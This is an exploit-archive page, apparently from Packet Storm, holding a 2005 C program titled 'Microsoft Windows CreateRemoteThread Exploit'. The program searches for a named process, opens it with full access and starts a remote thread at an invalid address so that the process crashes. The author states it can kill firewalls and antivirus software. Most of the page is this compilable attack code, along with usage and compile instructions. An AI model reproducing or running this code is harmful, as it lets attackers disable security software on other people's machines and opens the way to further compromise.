what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

winCreateExp.txt

winCreateExp.txt
Posted Dec 2, 2005
Authored by nima salehi | Site Ashiyane.com

Microsoft Windows CreateRemoteThread denial of service exploit.

tags | exploit, denial of service
systems | windows
SHA-256 | 387b50fc23c90ae7481a53e79a694e2b9cd93c2ab1d04ea80904e885dd7f2a54

winCreateExp.txt

Change Mirror Download
Microsoft Windows CreateRemoteThread Exploit
name : nima Salehi
email : Q7X@ashiyane.com
web site : www.Ashiyane.com www.Ashiyane.net
Copyright (c) 2002-2005 Ashiyane Digital Securty Team
---------------------------------------------------------------------
Systems Affected:
- Windows XP (all SP)
- Windows 2000 PRO (all SP)
- Windows 2000 Server (all SP)
- Windows 2000 AdvServer (all SP)
- Windows 2003 AdvServer (all SP)
---------------------------------------------------------------------
Description:
when the one process open with OpenProcess function and use CreateRemoteThread(Process,0,0,x,0,0,0) then the process crash.
an example hackers can use this method for kill firewalls and antiviruses
sorry for poor english
---------------------------------------------------------------------
Exploit :


#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL exploit(char* chProcessName)
{

HANDLE hProcessSnap = NULL;

HANDLE hProcess = NULL;

BOOL bFound = FALSE;

BOOL bRet = FALSE;

PROCESSENTRY32 pe32 = {0};

UINT uExitCode = 0;

DWORD dwExitCode = 0;

LPDWORD lpExitCode = &dwExitCode;





hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return (FALSE);

pe32.dwSize = sizeof(PROCESSENTRY32);

printf("\n[+] Search For Process ... \n");


while(!bFound && Process32Next(hProcessSnap, &pe32))
{
if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
bFound = TRUE;

}

CloseHandle(hProcessSnap);

if(!bFound){

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;


printf("[-] Sorry Process Not Find \n");

return(FALSE);

}
printf("[+] Process Find \n");

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);


if(hProcess == NULL){


SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;


printf("[-] Sorry Write Access Denied for This Process \n");
printf("[-] Exploit Failed :( \n");

return(FALSE);
}


printf("[+] Write Access Is allowed \n");

printf("[+] Send Exploit To Process ...\n");

CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);

printf("[+] Successful :)\n");


return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];

COORD coordScreen = { 0, 0 };
DWORD cCharsWritten;
CONSOLE_SCREEN_BUFFER_INFO csbi;
DWORD dwConSize;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

GetConsoleScreenBufferInfo(hConsole, &csbi);
dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
coordScreen, &cCharsWritten);
GetConsoleScreenBufferInfo(hConsole, &csbi);
FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
coordScreen, &cCharsWritten);
SetConsoleCursorPosition(hConsole, coordScreen);

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;


if(argc < 2) {


printf("\n");
printf(" ========================================================================== \n");
printf(" > Microsoft Windows CreateRemoteThread Exploit < \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");

printf(" > Exploited By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);


printf(" > Compile : cl -o nima.c ( Win32/VC++ ) < \n");

printf(" > Usage : nima.exe Process < \n");
printf(" > Example : nima.exe explorer.exe < \n");
printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000 AdvServer (SP4) < \n");
printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1) < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;

printf(" > Copyright 2002-2005 By Ashiyane Digital Network Security Team < \n");
printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not Free ) < \n");

printf(" > Special Tanx To My Best Friend Behrooz_Ice < \n");

printf(" ========================================================================== \n");


}
else

exploit(chProcess);





SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);


}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close